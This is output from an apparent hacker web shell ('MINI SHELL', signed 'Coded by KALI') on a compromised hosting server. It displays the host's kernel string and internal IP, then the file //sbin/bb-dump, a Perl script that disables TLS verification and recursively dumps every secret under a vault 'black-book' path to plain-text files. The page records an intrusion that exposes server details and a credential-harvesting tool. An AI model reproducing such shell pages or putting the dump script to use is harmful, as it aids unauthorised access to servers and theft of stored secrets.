~ K A L I ~
UNAME : Linux web63.extendcp.co.uk 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64SERVER IP : 10.0.187.63 -________-
CLIENT IP : 216.73.216.210 MINI SHELL D ZAB '
Current File : //sbin/bb-dump |
#!/usr/bin/perl
use strict;
use warnings;
use HI::VAULT;
use Data::Dumper;
use constant ROOTNODE => 'black-book/';
my $BASEDIR = shift;
my $sub = shift;
die "Usage: $0 /path/to/output [childnode]\n" unless $BASEDIR;
die "$BASEDIR is not a directory" unless -d $BASEDIR;
my $vault = new HI::VAULT({ssl_opts => {SSL_verify_mode => 0, verify_hostname => 0}});
$vault->renew_token('60m');
if($sub) {
recurse(ROOTNODE . $sub . '/');
} else {
recurse(ROOTNODE);
}
sub recurse {
my $dir = shift;
my $fsdir = "$BASEDIR/$dir";
mkdir $fsdir unless -d $fsdir;
my $nodes;
my $blob = $vault->list_ref_from_uri($dir);
if(ref $blob eq 'HASH') {
#All good
$nodes = $blob->{keys};
} else {
#Something went wrong! Perhaps token expired or URL is malformed
}
for(@$nodes) {
printf "%s%s\n", $dir, $_;
if($_ =~ m#/$#) {
#A directory, so keep recursing
recurse($dir.$_);
} else {
#A file, so write the contents
open my $fh, '>', "$fsdir/$_" or warn "Cannot open $fsdir/$_";
my $data = $vault->get_ref_from_uri($dir.$_);
if(ref $data eq 'HASH') {
#All good
for(sort keys %$data) {
printf $fh "\t%s => %s\n", $_, $data->{$_};
}
} else {
#Houston we have a problem
print Dumper $data;
}
close $fh;
}
}
}
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com